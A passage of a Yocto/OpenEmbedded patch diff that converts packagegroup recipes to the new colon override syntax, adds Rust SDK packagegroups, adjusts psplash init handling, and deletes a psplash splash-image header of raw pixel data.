DESCRIPTION = "The minimal set of packages required to boot the system"
-PR = "r17"
PACKAGE_ARCH = "${MACHINE_ARCH}"
@@ -18,11 +17,10 @@ EFI_PROVIDER ??= "grub-efi"
SYSVINIT_SCRIPTS = "${@bb.utils.contains('MACHINE_FEATURES', 'rtc', '${VIRTUAL-RUNTIME_base-utils-hwclock}', '', d)} \
modutils-initscripts \
- init-ifupdown \
${VIRTUAL-RUNTIME_initscripts} \
"
-RDEPENDS_${PN} = "\
+RDEPENDS:${PN} = "\
base-files \
base-passwd \
${VIRTUAL-RUNTIME_base-utils} \
@@ -36,6 +34,9 @@ RDEPENDS_${PN} = "\
${VIRTUAL-RUNTIME_update-alternatives} \
${MACHINE_ESSENTIAL_EXTRA_RDEPENDS}"
-RRECOMMENDS_${PN} = "\
+RRECOMMENDS:${PN} = "\
${VIRTUAL-RUNTIME_base-utils-syslog} \
- ${MACHINE_ESSENTIAL_EXTRA_RRECOMMENDS}"
+ ${MACHINE_ESSENTIAL_EXTRA_RRECOMMENDS} \
+ ${@bb.utils.contains("DISTRO_FEATURES", "sysvinit", "init-ifupdown", "", d)} \
+ ${@bb.utils.contains("DISTRO_FEATURES", "sysvinit pni-names", "ifupdown", "", d)} \
+ "
diff --git a/meta/recipes-core/packagegroups/packagegroup-core-buildessential.bb b/meta/recipes-core/packagegroups/packagegroup-core-buildessential.bb
index 78cc65db87..2cd67ad05f 100644
--- a/meta/recipes-core/packagegroups/packagegroup-core-buildessential.bb
+++ b/meta/recipes-core/packagegroups/packagegroup-core-buildessential.bb
@@ -5,9 +5,12 @@
SUMMARY = "Essential build dependencies"
+# libstdc++ gets debian renamed
+PACKAGE_ARCH = "${TUNE_PKGARCH}"
+
inherit packagegroup
-RDEPENDS_packagegroup-core-buildessential = "\
+RDEPENDS:packagegroup-core-buildessential = "\
autoconf \
automake \
binutils \
diff --git a/meta/recipes-core/packagegroups/packagegroup-core-eclipse-debug.bb b/meta/recipes-core/packagegroups/packagegroup-core-eclipse-debug.bb
index c45463fc6c..4e91aaf47b 100644
--- a/meta/recipes-core/packagegroups/packagegroup-core-eclipse-debug.bb
+++ b/meta/recipes-core/packagegroups/packagegroup-core-eclipse-debug.bb
@@ -2,7 +2,7 @@ SUMMARY = "Remote debugging tools for Eclipse integration"
inherit packagegroup
-RDEPENDS_${PN} = "\
+RDEPENDS:${PN} = "\
gdbserver \
tcf-agent \
openssh-sftp-server \
diff --git a/meta/recipes-core/packagegroups/packagegroup-core-nfs.bb b/meta/recipes-core/packagegroups/packagegroup-core-nfs.bb
index b345e314ad..b8a73175e8 100644
--- a/meta/recipes-core/packagegroups/packagegroup-core-nfs.bb
+++ b/meta/recipes-core/packagegroups/packagegroup-core-nfs.bb
@@ -3,18 +3,16 @@
#
SUMMARY = "NFS package groups"
-PR = "r2"
inherit packagegroup
-PROVIDES = "${PACKAGES}"
PACKAGES = "${PN}-server ${PN}-client"
-SUMMARY_${PN}-client = "NFS client"
-RDEPENDS_${PN}-client = "nfs-utils-client"
+SUMMARY:${PN}-client = "NFS client"
+RDEPENDS:${PN}-client = "nfs-utils-client"
-SUMMARY_${PN}-server = "NFS server"
-RDEPENDS_${PN}-server = "\
+SUMMARY:${PN}-server = "NFS server"
+RDEPENDS:${PN}-server = "\
nfs-utils \
nfs-utils-client \
"
diff --git a/meta/recipes-core/packagegroups/packagegroup-core-sdk.bb b/meta/recipes-core/packagegroups/packagegroup-core-sdk.bb
index 03fa5296c1..84e1a41d9a 100644
--- a/meta/recipes-core/packagegroups/packagegroup-core-sdk.bb
+++ b/meta/recipes-core/packagegroups/packagegroup-core-sdk.bb
@@ -3,7 +3,6 @@
#
SUMMARY = "Software development tools"
-PR = "r9"
PACKAGE_ARCH = "${MACHINE_ARCH}"
@@ -11,7 +10,12 @@ inherit packagegroup
#PACKAGEFUNCS =+ 'generate_sdk_pkgs'
-RDEPENDS_packagegroup-core-sdk = "\
+TARGET_TOOLCHAIN_LANGS ??= "${SDK_TOOLCHAIN_LANGS}"
+TARGET_TOOLCHAIN_LANGS:remove:sdkmingw32 = "rust"
+# libstd-rs doesn't build for mips n32 with compiler constraint errors
+TARGET_TOOLCHAIN_LANGS:remove:mipsarchn32 = "rust"
+
+RDEPENDS:packagegroup-core-sdk = "\
packagegroup-core-buildessential \
coreutils \
ccache \
@@ -23,18 +27,21 @@ RDEPENDS_packagegroup-core-sdk = "\
less \
ldd \
file \
- tcl"
+ tcl \
+ ${@bb.utils.contains('TARGET_TOOLCHAIN_LANGS', 'go', 'packagegroup-go-sdk-target', '', d)} \
+ ${@bb.utils.contains('TARGET_TOOLCHAIN_LANGS', 'rust', 'packagegroup-rust-sdk-target', '', d)} \
+"
SANITIZERS = "libasan-dev libubsan-dev"
-SANITIZERS_arc = ""
-SANITIZERS_microblaze = ""
-SANITIZERS_mipsarch = ""
-SANITIZERS_nios2 = ""
-SANITIZERS_riscv64 = ""
-SANITIZERS_riscv32 = ""
-SANITIZERS_libc-musl = ""
+SANITIZERS:arc = ""
+SANITIZERS:microblaze = ""
+SANITIZERS:mipsarch = ""
+SANITIZERS:nios2 = ""
+SANITIZERS:riscv64 = ""
+SANITIZERS:riscv32 = ""
+SANITIZERS:libc-musl = ""
-RRECOMMENDS_packagegroup-core-sdk = "\
+RRECOMMENDS:packagegroup-core-sdk = "\
libgomp \
libgomp-dev \
${SANITIZERS}"
@@ -53,7 +60,7 @@ RRECOMMENDS_packagegroup-core-sdk = "\
# # the package depchain code
# spkgdata = read_subpkgdata(pkg, d)
#
-# rdepends = explode_deps(spkgdata.get('RDEPENDS_%s' % pkg) or '')
+# rdepends = explode_deps(spkgdata.get('RDEPENDS:%s' % pkg) or '')
# rreclist = []
#
# for depend in rdepends:
@@ -63,16 +70,16 @@ RRECOMMENDS_packagegroup-core-sdk = "\
# rreclist.append('%s-dev' % name)
# else:
# deppkgdata = read_subpkgdata(name, d)
-# rdepends2 = explode_deps(deppkgdata.get('RDEPENDS_%s' % name) or '')
+# rdepends2 = explode_deps(deppkgdata.get('RDEPENDS:%s' % name) or '')
# for depend in rdepends2:
# split_depend = depend.split(' (')
# name = split_depend[0].strip()
# if packaged('%s-dev' % name, d):
# rreclist.append('%s-dev' % name)
#
-# oldrrec = d.getVar('RRECOMMENDS_%s' % newpkg, False) or ''
-# d.setVar('RRECOMMENDS_%s' % newpkg, oldrrec + ' ' + ' '.join(rreclist))
-# # bb.note('RRECOMMENDS_%s = "%s"' % (newpkg, d.getVar('RRECOMMENDS_%s' % newpkg, False)))
+# oldrrec = d.getVar('RRECOMMENDS:%s' % newpkg, False) or ''
+# d.setVar('RRECOMMENDS:%s' % newpkg, oldrrec + ' ' + ' '.join(rreclist))
+# # bb.note('RRECOMMENDS:%s = "%s"' % (newpkg, d.getVar('RRECOMMENDS:%s' % newpkg, False)))
#
# # bb.note('pkgs is %s' % pkgs)
# d.setVar('PACKAGES', ' '.join(pkgs))
diff --git a/meta/recipes-core/packagegroups/packagegroup-core-ssh-dropbear.bb b/meta/recipes-core/packagegroups/packagegroup-core-ssh-dropbear.bb
index 5ec3f6c927..206292ace4 100644
--- a/meta/recipes-core/packagegroups/packagegroup-core-ssh-dropbear.bb
+++ b/meta/recipes-core/packagegroups/packagegroup-core-ssh-dropbear.bb
@@ -1,6 +1,6 @@
SUMMARY = "Dropbear SSH client/server"
-PR = "r1"
inherit packagegroup
-RDEPENDS_${PN} = "dropbear"
+RDEPENDS:${PN} = "dropbear"
+RRECOMMENDS:${PN} = "openssh-sftp-server"
diff --git a/meta/recipes-core/packagegroups/packagegroup-core-ssh-openssh.bb b/meta/recipes-core/packagegroups/packagegroup-core-ssh-openssh.bb
index 703f956aea..392403f21b 100644
--- a/meta/recipes-core/packagegroups/packagegroup-core-ssh-openssh.bb
+++ b/meta/recipes-core/packagegroups/packagegroup-core-ssh-openssh.bb
@@ -1,6 +1,5 @@
SUMMARY = "OpenSSH SSH client/server"
-PR = "r1"
inherit packagegroup
-RDEPENDS_${PN} = "openssh"
+RDEPENDS:${PN} = "openssh"
diff --git a/meta/recipes-core/packagegroups/packagegroup-core-standalone-sdk-target.bb b/meta/recipes-core/packagegroups/packagegroup-core-standalone-sdk-target.bb
index 2a54f1ca3e..06fdda90c7 100644
--- a/meta/recipes-core/packagegroups/packagegroup-core-standalone-sdk-target.bb
+++ b/meta/recipes-core/packagegroups/packagegroup-core-standalone-sdk-target.bb
@@ -1,11 +1,10 @@
SUMMARY = "Target packages for the standalone SDK"
-PR = "r8"
PACKAGE_ARCH = "${TUNE_PKGARCH}"
inherit packagegroup
-RDEPENDS_${PN} = "\
+RDEPENDS:${PN} = "\
libgcc \
libgcc-dev \
libatomic \
@@ -15,7 +14,7 @@ RDEPENDS_${PN} = "\
${LIBC_DEPENDENCIES} \
"
-RRECOMMENDS_${PN}_mingw32 = "\
+RRECOMMENDS:${PN}:mingw32 = "\
libssp \
libssp-dev \
"
diff --git a/meta/recipes-core/packagegroups/packagegroup-core-tools-debug.bb b/meta/recipes-core/packagegroups/packagegroup-core-tools-debug.bb
index 81fbdf4608..56ff1d2b06 100644
--- a/meta/recipes-core/packagegroups/packagegroup-core-tools-debug.bb
+++ b/meta/recipes-core/packagegroups/packagegroup-core-tools-debug.bb
@@ -8,14 +8,16 @@ PACKAGE_ARCH = "${TUNE_PKGARCH}"
inherit packagegroup
-PR = "r3"
MTRACE = ""
-MTRACE_libc-glibc = "libc-mtrace"
+MTRACE:libc-glibc = "libc-mtrace"
-RDEPENDS_${PN} = "\
+STRACE = "strace"
+STRACE:riscv32 = ""
+
+RDEPENDS:${PN} = "\
gdb \
gdbserver \
- strace \
${MTRACE} \
+ ${STRACE} \
"
diff --git a/meta/recipes-core/packagegroups/packagegroup-core-tools-profile.bb b/meta/recipes-core/packagegroups/packagegroup-core-tools-profile.bb
index 8aed1e8458..b3a24b71de 100644
--- a/meta/recipes-core/packagegroups/packagegroup-core-tools-profile.bb
+++ b/meta/recipes-core/packagegroups/packagegroup-core-tools-profile.bb
@@ -4,22 +4,17 @@
SUMMARY = "Profiling tools"
-PR = "r3"
PACKAGE_ARCH = "${MACHINE_ARCH}"
inherit packagegroup
-PROFILE_TOOLS_X = ""
# sysprof doesn't support aarch64 and nios2
-PROFILE_TOOLS_X_aarch64 = ""
-PROFILE_TOOLS_X_nios2 = ""
PROFILE_TOOLS_SYSTEMD = "${@bb.utils.contains('DISTRO_FEATURES', 'systemd', 'systemd-analyze', '', d)}"
-RRECOMMENDS_${PN} = "\
+RRECOMMENDS:${PN} = "\
${PERF} \
blktrace \
- ${PROFILE_TOOLS_X} \
${PROFILE_TOOLS_SYSTEMD} \
"
@@ -27,23 +22,19 @@ PROFILETOOLS = "\
powertop \
"
PERF = "perf"
-PERF_libc-musl = ""
+PERF:libc-musl = ""
+PERF:libc-musl:arm = "perf"
+PERF:riscv32 = ""
# systemtap needs elfutils which is not fully buildable on some arches/libcs
SYSTEMTAP = "systemtap"
-SYSTEMTAP_libc-musl = ""
-SYSTEMTAP_nios2 = ""
-SYSTEMTAP_riscv64 = ""
-
-# lttng-ust uses sched_getcpu() which is not there on for some platforms.
-LTTNGUST = "lttng-ust"
-LTTNGUST_arc = ""
+SYSTEMTAP:libc-musl = ""
+SYSTEMTAP:nios2 = ""
+SYSTEMTAP:riscv32 = ""
LTTNGTOOLS = "lttng-tools"
-LTTNGTOOLS_arc = ""
-
-LTTNGMODULES = "lttng-modules"
-LTTNGMODULES_arc = ""
+LTTNGTOOLS:arc = ""
+LTTNGTOOLS:riscv32 = ""
BABELTRACE = "babeltrace"
BABELTRACE2 = "babeltrace2"
@@ -51,25 +42,24 @@ BABELTRACE2 = "babeltrace2"
# valgrind does not work on the following configurations/architectures
VALGRIND = "valgrind"
-VALGRIND_libc-musl = ""
-VALGRIND_mipsarch = ""
-VALGRIND_nios2 = ""
-VALGRIND_arc = ""
-VALGRIND_armv4 = ""
-VALGRIND_armv5 = ""
-VALGRIND_armv6 = ""
-VALGRIND_armeb = ""
-VALGRIND_aarch64 = ""
-VALGRIND_riscv64 = ""
-VALGRIND_powerpc = "${@bb.utils.contains('TARGET_FPU', 'soft', '', 'valgrind', d)}"
-VALGRIND_linux-gnux32 = ""
-VALGRIND_linux-gnun32 = ""
+VALGRIND:libc-musl = ""
+VALGRIND:mipsarch = ""
+VALGRIND:nios2 = ""
+VALGRIND:arc = ""
+VALGRIND:armv4 = ""
+VALGRIND:armv5 = ""
+VALGRIND:armv6 = ""
+VALGRIND:armeb = ""
+VALGRIND:aarch64 = ""
+VALGRIND:riscv64 = ""
+VALGRIND:riscv32 = ""
+VALGRIND:powerpc = "${@bb.utils.contains('TARGET_FPU', 'soft', '', 'valgrind', d)}"
+VALGRIND:linux-gnux32 = ""
+VALGRIND:linux-gnun32 = ""
-RDEPENDS_${PN} = "\
+RDEPENDS:${PN} = "\
${PROFILETOOLS} \
- ${LTTNGUST} \
${LTTNGTOOLS} \
- ${LTTNGMODULES} \
${BABELTRACE} \
${BABELTRACE2} \
${SYSTEMTAP} \
diff --git a/meta/recipes-core/packagegroups/packagegroup-core-tools-testapps.bb b/meta/recipes-core/packagegroups/packagegroup-core-tools-testapps.bb
index a5fc152859..34af40a43f 100644
--- a/meta/recipes-core/packagegroups/packagegroup-core-tools-testapps.bb
+++ b/meta/recipes-core/packagegroups/packagegroup-core-tools-testapps.bb
@@ -4,7 +4,6 @@
SUMMARY = "Testing tools/applications"
-PR = "r2"
PACKAGE_ARCH = "${MACHINE_ARCH}"
@@ -12,13 +11,21 @@ inherit packagegroup
# kexec-tools doesn't work on e5500-64b, microblaze and nios2 yet
KEXECTOOLS ?= "kexec"
-KEXECTOOLS_e5500-64b ?= ""
-KEXECTOOLS_microblaze ?= ""
-KEXECTOOLS_nios2 ?= ""
-KEXECTOOLS_riscv64 ?= ""
+KEXECTOOLS:e5500-64b ?= ""
+KEXECTOOLS:microblaze ?= ""
+KEXECTOOLS:nios2 ?= ""
+KEXECTOOLS:riscv64 ?= ""
+KEXECTOOLS:riscv32 ?= ""
+
+# go does not support ppc32, only ppc64
+# https://github.com/golang/go/issues/22885
+# gccgo may do better
+GOTOOLS ?= "go-helloworld"
+GOTOOLS:powerpc ?= ""
+GOTOOLS:riscv32 ?= ""
GSTEXAMPLES ?= "gst-examples"
-GSTEXAMPLES_riscv64 = ""
+GSTEXAMPLES:riscv64 = ""
X11GLTOOLS = "\
mesa-demos \
@@ -36,7 +43,7 @@ X11TOOLS = "\
xprop \
"
-RDEPENDS_${PN} = "\
+RDEPENDS:${PN} = "\
blktool \
${KEXECTOOLS} \
alsa-utils-amixer \
@@ -48,4 +55,5 @@ RDEPENDS_${PN} = "\
${@bb.utils.contains('DISTRO_FEATURES', 'x11', "${X11TOOLS}", "", d)} \
${@bb.utils.contains('DISTRO_FEATURES', 'x11 opengl', "${X11GLTOOLS}", "", d)} \
${@bb.utils.contains('DISTRO_FEATURES', '3g', "${3GTOOLS}", "", d)} \
+ ${GOTOOLS} \
"
diff --git a/meta/recipes-core/packagegroups/packagegroup-cross-canadian.bb b/meta/recipes-core/packagegroups/packagegroup-cross-canadian.bb
index 3b430c0814..49c075eb11 100644
--- a/meta/recipes-core/packagegroups/packagegroup-cross-canadian.bb
+++ b/meta/recipes-core/packagegroups/packagegroup-cross-canadian.bb
@@ -10,7 +10,7 @@ BINUTILS = "binutils-cross-canadian-${TRANSLATED_TARGET_ARCH}"
GCC = "gcc-cross-canadian-${TRANSLATED_TARGET_ARCH}"
GDB = "gdb-cross-canadian-${TRANSLATED_TARGET_ARCH}"
-RDEPENDS_${PN} = "\
+RDEPENDS:${PN} = "\
${@all_multilib_tune_values(d, 'BINUTILS')} \
${@all_multilib_tune_values(d, 'GCC')} \
${@all_multilib_tune_values(d, 'GDB')} \
diff --git a/meta/recipes-core/packagegroups/packagegroup-go-cross-canadian.bb b/meta/recipes-core/packagegroups/packagegroup-go-cross-canadian.bb
index 3daace1a40..d0596efe7a 100644
--- a/meta/recipes-core/packagegroups/packagegroup-go-cross-canadian.bb
+++ b/meta/recipes-core/packagegroups/packagegroup-go-cross-canadian.bb
@@ -7,6 +7,6 @@ PACKAGEGROUP_DISABLE_COMPLEMENTARY = "1"
GO = "go-cross-canadian-${TRANSLATED_TARGET_ARCH}"
-RDEPENDS_${PN} = " \
+RDEPENDS:${PN} = " \
${@all_multilib_tune_values(d, 'GO')} \
"
diff --git a/meta/recipes-core/packagegroups/packagegroup-go-sdk-target.bb b/meta/recipes-core/packagegroups/packagegroup-go-sdk-target.bb
index 9a52b0781c..c03918acc8 100644
--- a/meta/recipes-core/packagegroups/packagegroup-go-sdk-target.bb
+++ b/meta/recipes-core/packagegroups/packagegroup-go-sdk-target.bb
@@ -2,11 +2,10 @@ SUMMARY = "Target packages for the Go SDK"
inherit packagegroup goarch
-RDEPENDS_${PN} = " \
+RDEPENDS:${PN} = " \
go \
go-runtime \
go-runtime-dev \
- go-runtime-staticdev \
"
COMPATIBLE_HOST = "^(?!riscv32).*"
diff --git a/meta/recipes-core/packagegroups/packagegroup-rust-cross-canadian.bb b/meta/recipes-core/packagegroups/packagegroup-rust-cross-canadian.bb
new file mode 100644
index 0000000000..bb10a2d34f
--- /dev/null
+++ b/meta/recipes-core/packagegroups/packagegroup-rust-cross-canadian.bb
@@ -0,0 +1,21 @@
+SUMMARY = "Host SDK package for Rust cross canadian toolchain"
+PN = "packagegroup-rust-cross-canadian-${MACHINE}"
+
+inherit cross-canadian packagegroup
+
+PACKAGEGROUP_DISABLE_COMPLEMENTARY = "1"
+
+RUST="rust-cross-canadian-${TRANSLATED_TARGET_ARCH}"
+
+RDEPENDS:${PN} = " \
+ ${@all_multilib_tune_values(d, 'RUST')} \
+ nativesdk-binutils \
+ nativesdk-gcc \
+ nativesdk-glibc-dev \
+ nativesdk-libgcc-dev \
+ nativesdk-rust \
+ nativesdk-cargo \
+ nativesdk-rust-tools-clippy \
+ nativesdk-rust-tools-rustfmt \
+"
+
diff --git a/meta/recipes-core/packagegroups/packagegroup-rust-sdk-target.bb b/meta/recipes-core/packagegroups/packagegroup-rust-sdk-target.bb
new file mode 100644
index 0000000000..59874c4c2c
--- /dev/null
+++ b/meta/recipes-core/packagegroups/packagegroup-rust-sdk-target.bb
@@ -0,0 +1,14 @@
+#
+# Copyright OpenEmbedded Contributors
+#
+# SPDX-License-Identifier: MIT
+#
+
+SUMMARY = "Target packages for the Rust SDK"
+
+inherit packagegroup
+
+RDEPENDS:${PN} = " \
+ rust \
+ cargo \
+"
diff --git a/meta/recipes-core/packagegroups/packagegroup-self-hosted.bb b/meta/recipes-core/packagegroups/packagegroup-self-hosted.bb
index 9a70b189a4..df71695a97 100644
--- a/meta/recipes-core/packagegroups/packagegroup-self-hosted.bb
+++ b/meta/recipes-core/packagegroups/packagegroup-self-hosted.bb
@@ -4,7 +4,6 @@
SUMMARY = "Self-hosting"
DESCRIPTION = "Packages required to run the build system"
-PR = "r13"
PACKAGE_ARCH = "${TUNE_PKGARCH}"
@@ -24,7 +23,7 @@ PACKAGES = "\
packagegroup-self-hosted-host-tools \
"
-RDEPENDS_packagegroup-self-hosted = "\
+RDEPENDS:packagegroup-self-hosted = "\
packagegroup-self-hosted-debug \
packagegroup-self-hosted-sdk \
packagegroup-self-hosted-extended \
@@ -32,7 +31,7 @@ RDEPENDS_packagegroup-self-hosted = "\
packagegroup-self-hosted-host-tools \
"
-RDEPENDS_packagegroup-self-hosted-host-tools = "\
+RDEPENDS:packagegroup-self-hosted-host-tools = "\
e2fsprogs \
e2fsprogs-e2fsck \
e2fsprogs-mke2fs \
@@ -41,7 +40,7 @@ RDEPENDS_packagegroup-self-hosted-host-tools = "\
iptables \
lsb-release \
mc \
- mc-fish \
+ mc-shell \
mc-helpers \
mc-helpers-perl \
parted \
@@ -49,9 +48,9 @@ RDEPENDS_packagegroup-self-hosted-host-tools = "\
screen \
"
PSEUDO = "pseudo"
-PSEUDO_libc-musl = ""
+PSEUDO:libc-musl = ""
-RRECOMMENDS_packagegroup-self-hosted-host-tools = "\
+RRECOMMENDS:packagegroup-self-hosted-host-tools = "\
kernel-module-tun \
kernel-module-iptable-raw \
kernel-module-iptable-nat \
@@ -59,7 +58,7 @@ RRECOMMENDS_packagegroup-self-hosted-host-tools = "\
kernel-module-iptable-filter \
"
-RDEPENDS_packagegroup-self-hosted-sdk = "\
+RDEPENDS:packagegroup-self-hosted-sdk = "\
autoconf \
automake \
binutils \
@@ -87,26 +86,29 @@ RDEPENDS_packagegroup-self-hosted-sdk = "\
quilt \
sed \
"
-RDEPENDS_packagegroup-self-hosted-sdk_append_mingw32 = "\
+RDEPENDS:packagegroup-self-hosted-sdk:append:mingw32 = "\
libssp \
libssp-dev \
libssp-staticdev \
"
# rpcsvc-proto: for rpcgen
-RDEPENDS_packagegroup-self-hosted-sdk_append_libc-glibc = "\
+RDEPENDS:packagegroup-self-hosted-sdk:append:libc-glibc = "\
glibc-gconv-ibm850 \
glibc-utils \
rpcsvc-proto \
"
-RDEPENDS_packagegroup-self-hosted-debug = " \
+
+STRACE = "strace"
+STRACE:riscv32 = ""
+RDEPENDS:packagegroup-self-hosted-debug = " \
gdb \
gdbserver \
rsync \
- strace \
+ ${STRACE} \
tcf-agent"
-RDEPENDS_packagegroup-self-hosted-extended = "\
+RDEPENDS:packagegroup-self-hosted-extended = "\
bzip2 \
chrpath \
cpio \
@@ -124,12 +126,10 @@ RDEPENDS_packagegroup-self-hosted-extended = "\
grep \
groff \
gzip \
- settings-daemon \
libaio \
libusb1 \
libxml2 \
lsof \
- lzo \
man \
man-pages \
mdadm \
@@ -158,6 +158,7 @@ RDEPENDS_packagegroup-self-hosted-extended = "\
readline \
rpm \
setserial \
+ settings-daemon \
socat \
subversion \
sudo \
@@ -171,22 +172,23 @@ RDEPENDS_packagegroup-self-hosted-extended = "\
wget \
which \
xinetd \
+ xz \
zip \
zlib \
- xz \
+ zstd \
"
-RDEPENDS_packagegroup-self-hosted-graphics = "\
+RDEPENDS:packagegroup-self-hosted-graphics = "\
+ adwaita-icon-theme \
builder \
+ l3afpad \
libgl \
libgl-dev \
libglu \
libglu-dev \
libx11-dev \
- adwaita-icon-theme \
- xdg-utils \
- l3afpad \
pcmanfm \
vte \
+ xdg-utils \
"
diff --git a/meta/recipes-core/psplash/files/psplash-init b/meta/recipes-core/psplash/files/psplash-init
index f58e043733..e0f80bcdc0 100755
--- a/meta/recipes-core/psplash/files/psplash-init
+++ b/meta/recipes-core/psplash/files/psplash-init
@@ -7,6 +7,9 @@
# Default-Stop:
### END INIT INFO
+. /etc/default/rcS
+export PSPLASH_FIFO_DIR
+
if [ ! -e /dev/fb0 ]; then
echo "Framebuffer /dev/fb0 not detected"
echo "Boot splashscreen disabled"
@@ -23,7 +26,6 @@ for x in $CMDLINE; do
esac
done
-export PSPLASH_FIFO_DIR=/mnt/.psplash
[ -d $PSPLASH_FIFO_DIR ] || mkdir -p $PSPLASH_FIFO_DIR
if ! mountpoint -q $PSPLASH_FIFO_DIR; then
mount tmpfs -t tmpfs $PSPLASH_FIFO_DIR -o,size=40k
diff --git a/meta/recipes-core/psplash/files/psplash-poky-img.h b/meta/recipes-core/psplash/files/psplash-poky-img.h
deleted file mode 100644
index 8d56aa0201..0000000000
--- a/meta/recipes-core/psplash/files/psplash-poky-img.h
+++ /dev/null
@@ -1,1259 +0,0 @@
-/* GdkPixbuf RGB C-Source image dump 1-byte-run-length-encoded */
-
-#define POKY_IMG_ROWSTRIDE (1920)
-#define POKY_IMG_WIDTH (640)
-#define POKY_IMG_HEIGHT (480)
-#define POKY_IMG_BYTES_PER_PIXEL (3) /* 3:RGB, 4:RGBA */
-#define POKY_IMG_RLE_PIXEL_DATA ((uint8*) \
- "\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377" \
- "\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377" \
- "\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377" \
- "\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377" \
- "\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377" \
- "\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377" \
- "\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377" \
- "\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377" \
- "\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377" \
- "\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377" \
- "\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377" \
- "\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377" \
- "\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377" \
- "\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377" \
- "\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377" \
- "\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377" \
- "\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377" \
- "\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377" \
- "\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377" \
- "\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377" \
- "\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377" \
- "\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377" \
- "\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377" \
- "\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377" \
- "\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377" \
- "\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377" \
- "\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377" \
- "\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377" \
- "\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377" \
- "\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377" \
- "\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377" \
- "\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377" \
- "\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377" \
- "\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377" \
- "\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377" \
- "\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377" \
- "\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377" \
- "\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377" \
- "\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377" \
- "\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377" \
- "\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377" \
- "\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377" \
- "\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377" \
- "\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377" \
- "\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377" \
- "\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377" \
- "\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377" \
- "\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377" \
- "\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377" \
- "\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377" \
- "\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377" \
- "\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377" \
- "\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377" \
- "\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377" \
- "\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377" \
- "\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377" \
- "\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377" \
- "\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377" \
- "\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377" \
- "\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377" \
- "\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377" \
- "\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377" \
- "\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377" \
- "\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377" \
- "\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377" \
- "\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377" \
- "\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377" \
- "\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377" \
- "\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377" \
- "\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377" \
- "\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377" \
- "\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377" \
- "\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377" \
- "\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377" \
- "\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377" \
- "\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377" \
- "\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377" \
